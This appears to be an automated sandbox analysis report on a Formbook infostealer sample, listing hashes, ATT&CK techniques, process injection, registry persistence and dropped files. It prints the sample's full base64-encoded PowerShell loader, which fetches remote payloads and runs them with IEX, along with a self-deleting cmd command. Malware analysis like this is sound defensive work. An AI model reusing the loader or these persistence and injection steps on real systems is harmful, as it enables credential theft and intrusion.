formbook | 8f9fcdd00e43b8845139ba38f9d4f164e526736578eab199e7f7af5d8179f01c

General

Target

fdppo.exe
Size

101KB
MD5

082348ffb2977a0762e3e5d6f4a47ff4
SHA1

a63f12bba792fd01307373a7565b96549eb9f3c8
SHA256

8f9fcdd00e43b8845139ba38f9d4f164e526736578eab199e7f7af5d8179f01c
SHA512

ac00b157a3ae8af9502658c2fa72d80eb871f4ca9ee6b36393c526fbe0d35383855633bc871623c3088f3cdbd75a537b52ef24d8d1995353896637c3a27cf91c

Score

10^/10

persistence spyware evasion trojan stealer formbook

Malware Config

Signatures

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	powershell.exe

Formbook
Formbook is a data stealing malware which is capable of stealing data.
trojan spyware stealer formbook

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

fdppo.exepowershell.exeMSBuild.execolorcpl.exe

description	pid	process
Token: SeDebugPrivilege	1164	fdppo.exe
Token: SeDebugPrivilege	1608	powershell.exe
Token: SeDebugPrivilege	1084	MSBuild.exe
Token: SeDebugPrivilege	1828	colorcpl.exe

System policy modification 1 TTPs 1 IoCs
evasion

Modify Registry
T1112

Processes:

colorcpl.exe

description ioc process

Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer colorcpl.exe
Suspicious behavior: MapViewOfSection 8 IoCs

Processes:

MSBuild.execolorcpl.exe

pid process

1084 MSBuild.exe
1084 MSBuild.exe
1084 MSBuild.exe
1084 MSBuild.exe
1828 colorcpl.exe
1828 colorcpl.exe
1828 colorcpl.exe
1828 colorcpl.exe
Suspicious use of FindShellTrayWindow 5 IoCs

Processes:

Explorer.EXE

pid process

1336 Explorer.EXE
1336 Explorer.EXE
1336 Explorer.EXE
1336 Explorer.EXE
1336 Explorer.EXE

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer	colorcpl.exe

pid	process
1084	MSBuild.exe
1084	MSBuild.exe
1084	MSBuild.exe
1084	MSBuild.exe
1828	colorcpl.exe
1828	colorcpl.exe
1828	colorcpl.exe
1828	colorcpl.exe

pid	process
1336	Explorer.EXE
1336	Explorer.EXE
1336	Explorer.EXE
1336	Explorer.EXE
1336	Explorer.EXE

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

Processes:

colorcpl.exe

description	ioc	process
Key created	\Registry\User\S-1-5-21-1131729243-447456001-3632642222-1000\SOFTWARE\Microsoft\Internet Explorer\IntelliForms\Storage2	colorcpl.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs
evasion trojan

System Information Discovery
T1082

Processes:

Explorer.EXE

description ioc process

Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Explorer.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Explorer.EXE

Suspicious use of WriteProcessMemory 24 IoCs

Processes:

fdppo.exepowershell.exeExplorer.EXEcolorcpl.exe

description	pid	process	target process
PID 1164 wrote to memory of 1608	1164	fdppo.exe	powershell.exe
PID 1164 wrote to memory of 1608	1164	fdppo.exe	powershell.exe
PID 1164 wrote to memory of 1608	1164	fdppo.exe	powershell.exe
PID 1164 wrote to memory of 1608	1164	fdppo.exe	powershell.exe
PID 1608 wrote to memory of 1084	1608	powershell.exe	MSBuild.exe
PID 1608 wrote to memory of 1084	1608	powershell.exe	MSBuild.exe
PID 1608 wrote to memory of 1084	1608	powershell.exe	MSBuild.exe
PID 1608 wrote to memory of 1084	1608	powershell.exe	MSBuild.exe
PID 1608 wrote to memory of 1084	1608	powershell.exe	MSBuild.exe
PID 1608 wrote to memory of 1084	1608	powershell.exe	MSBuild.exe
PID 1608 wrote to memory of 1084	1608	powershell.exe	MSBuild.exe
PID 1336 wrote to memory of 1828	1336	Explorer.EXE	colorcpl.exe
PID 1336 wrote to memory of 1828	1336	Explorer.EXE	colorcpl.exe
PID 1336 wrote to memory of 1828	1336	Explorer.EXE	colorcpl.exe
PID 1336 wrote to memory of 1828	1336	Explorer.EXE	colorcpl.exe
PID 1828 wrote to memory of 1852	1828	colorcpl.exe	cmd.exe
PID 1828 wrote to memory of 1852	1828	colorcpl.exe	cmd.exe
PID 1828 wrote to memory of 1852	1828	colorcpl.exe	cmd.exe
PID 1828 wrote to memory of 1852	1828	colorcpl.exe	cmd.exe
PID 1828 wrote to memory of 1636	1828	colorcpl.exe	Firefox.exe
PID 1828 wrote to memory of 1636	1828	colorcpl.exe	Firefox.exe
PID 1828 wrote to memory of 1636	1828	colorcpl.exe	Firefox.exe
PID 1828 wrote to memory of 1636	1828	colorcpl.exe	Firefox.exe
PID 1828 wrote to memory of 1636	1828	colorcpl.exe	Firefox.exe

Suspicious behavior: EnumeratesProcesses 29 IoCs

Processes:

powershell.exeMSBuild.execolorcpl.exe

pid	process
1608	powershell.exe
1608	powershell.exe
1084	MSBuild.exe
1084	MSBuild.exe
1084	MSBuild.exe
1828	colorcpl.exe
1828	colorcpl.exe
1828	colorcpl.exe
1828	colorcpl.exe
1828	colorcpl.exe
1828	colorcpl.exe
1828	colorcpl.exe
1828	colorcpl.exe
1828	colorcpl.exe
1828	colorcpl.exe
1828	colorcpl.exe
1828	colorcpl.exe
1828	colorcpl.exe
1828	colorcpl.exe
1828	colorcpl.exe
1828	colorcpl.exe
1828	colorcpl.exe
1828	colorcpl.exe
1828	colorcpl.exe
1828	colorcpl.exe
1828	colorcpl.exe
1828	colorcpl.exe
1828	colorcpl.exe
1828	colorcpl.exe

Suspicious use of SetThreadContext 4 IoCs

Processes:

powershell.exeMSBuild.execolorcpl.exe

description	pid	process	target process
PID 1608 set thread context of 1084	1608	powershell.exe	MSBuild.exe
PID 1084 set thread context of 1336	1084	MSBuild.exe	Explorer.EXE
PID 1084 set thread context of 1336	1084	MSBuild.exe	Explorer.EXE
PID 1828 set thread context of 1336	1828	colorcpl.exe	Explorer.EXE

Adds Run entry to policy start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

colorcpl.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	colorcpl.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\8PPXV4W006 = "C:\\Program Files (x86)\\Zadfhaf\\usery4nh.exe"	colorcpl.exe

Drops file in Program Files directory 1 IoCs

Processes:

colorcpl.exe

description ioc process

File opened for modification C:\Program Files (x86)\Zadfhaf\usery4nh.exe colorcpl.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081
Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

9 1608 powershell.exe
Suspicious use of SendNotifyMessage 4 IoCs

Processes:

Explorer.EXE

pid process

1336 Explorer.EXE
1336 Explorer.EXE
1336 Explorer.EXE
1336 Explorer.EXE

description	ioc	process
File opened for modification	C:\Program Files (x86)\Zadfhaf\usery4nh.exe	colorcpl.exe

flow	pid	process
9	1608	powershell.exe

pid	process
1336	Explorer.EXE
1336	Explorer.EXE
1336	Explorer.EXE
1336	Explorer.EXE

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of FindShellTrayWindow
- Checks whether UAC is enabled
- Suspicious use of WriteProcessMemory
- Suspicious use of SendNotifyMessage
PID:1336

C:\Users\Admin\AppData\Local\Temp\fdppo.exe
"C:\Users\Admin\AppData\Local\Temp\fdppo.exe"
2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1164

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -w 1 /e WwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsACAAPQAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdADoAOgBUAGwAcwAxADIAOwANAAoAJAByAGUAZwAgAD0AIAAoACcAewAyAH0AewAwAH0AewAxAH0AewAzAH0AJwAtAGYAJwBkAFMAdAAnACwAJwByAGkAbgAnACwAHCBgAEQAYABvAGAAdwBuAGAAbABgAG8AYQAdICwAJwBnACcAKQA7AFsAdgBvAGkAZABdACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZABXAGkAdABoAFAAYQByAHQAaQBhAGwATgBhAG0AZQAoACcATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMAJwApADsAJABmAGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAHIAZQBnACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAcwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwB6AC4AegB6AC4AaAB0AC8ATgBlADYANABvAC4AdAB4AHQAJwApAC4AUgBlAHAAbABhAGMAZQAoACIAXgAiACwAIAAiADQANAAiACkALgBSAGUAcABsAGEAYwBlACgAIgAqACIALAAgACIANAA4ACIAKQAuAFIAZQBwAGwAYQBjAGUAKAAiACMAIgAsACAAIgA3ADgAIgApAHwASQBFAFgAOwBbAEIAeQB0AGUAWwBdAF0AJABmAD0AWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEkAbgB0AGUAcgBhAGMAdABpAG8AbgBdADoAOgBDAGEAbABsAEIAeQBuAGEAbQBlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAHCBgAE4AYABlAGAAVABgAC4AYABXAGAAZQBgAEIAYABDAGAAbABgAGkAYABlAGAATgBgAFQAHSApACwAJAByAGUAZwAsAFsATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMALgBDAGEAbABsAFQAeQBwAGUAXQA6ADoATQBlAHQAaABvAGQALAAnAGgAdAB0ACcAKwBbAEMAaABhAHIAXQA4ADAAKwAnAHMAJwAgACsAIABbAEMAaABhAHIAXQA1ADgAIAArACAAJwAvAC8AegAuAHoAegAuAGgAdAAvAFMAeABUAHAASQAuAHQAeAB0ACcAKQAuAHIAZQBwAGwAYQBjAGUAKAAnACQAJAAnACwAJwAwAHgAJwApAHwASQBFAFgAOwBbAEMALgBNAF0AOgA6AFIAKAAnAE0AUwBCAHUAaQBsAGQALgBlAHgAZQAnACwAJABmACkA
3⤵
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetThreadContext
- Blacklisted process makes network request
PID:1608

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: MapViewOfSection
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetThreadContext
PID:1084

C:\Windows\SysWOW64\colorcpl.exe
"C:\Windows\SysWOW64\colorcpl.exe"
2⤵
- Suspicious use of AdjustPrivilegeToken
- System policy modification
- Suspicious behavior: MapViewOfSection
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetThreadContext
- Adds Run entry to policy start application
- Drops file in Program Files directory
PID:1828

C:\Windows\SysWOW64\cmd.exe
/c del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
3⤵
PID:1852

C:\Program Files\Mozilla Firefox\Firefox.exe
"C:\Program Files\Mozilla Firefox\Firefox.exe"
3⤵
PID:1636

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Install Root Certificate

Modify Registry

Credential Access

Credentials in Files

1

T1081

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_231c2208-0720-4eec-b9f1-8bba11abd9fa

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_235184f8-dcca-4459-ace7-181c154dff79

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_57c6647c-75fc-47bb-8ce4-3b8f0921c533

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6d5fa298-996f-4fc9-9c01-b2226cbdaeba

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7d6878ec-2a8b-418c-8f2b-b6fcd4b50cf8

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_de4eedb8-4762-4c56-b80c-203df3aa6fa8

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e43ce3f6-b60d-4b70-bed1-86e53bf07360

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fabbb9cf-9b8c-4b2f-b33d-0de7a9a3a10e

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Roaming\057903T3\057logim.jpeg

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C:\Users\Admin\AppData\Roaming\057903T3\057logrf.ini

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C:\Users\Admin\AppData\Roaming\057903T3\057logri.ini

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C:\Users\Admin\AppData\Roaming\057903T3\057logrv.ini

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memory/1084-4-0x000000000041E200-mapping.dmp

Download
memory/1084-3-0x0000000000400000-0x000000000042D000-memory.dmp

Filesize
180KB

Download
memory/1608-0-0x0000000000000000-mapping.dmp

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memory/1636-20-0x000000013FB80000-0x000000013FC13000-memory.dmp

Filesize
588KB

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memory/1636-19-0x0000000000000000-mapping.dmp

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memory/1828-18-0x0000000003A30000-0x0000000003B1D000-memory.dmp

Filesize
948KB

Download
memory/1828-17-0x00000000009A0000-0x0000000000A63000-memory.dmp

Filesize
780KB

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memory/1828-15-0x0000000000A80000-0x0000000000A98000-memory.dmp

Filesize
96KB

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memory/1828-14-0x0000000000000000-mapping.dmp

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memory/1852-16-0x0000000000000000-mapping.dmp

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads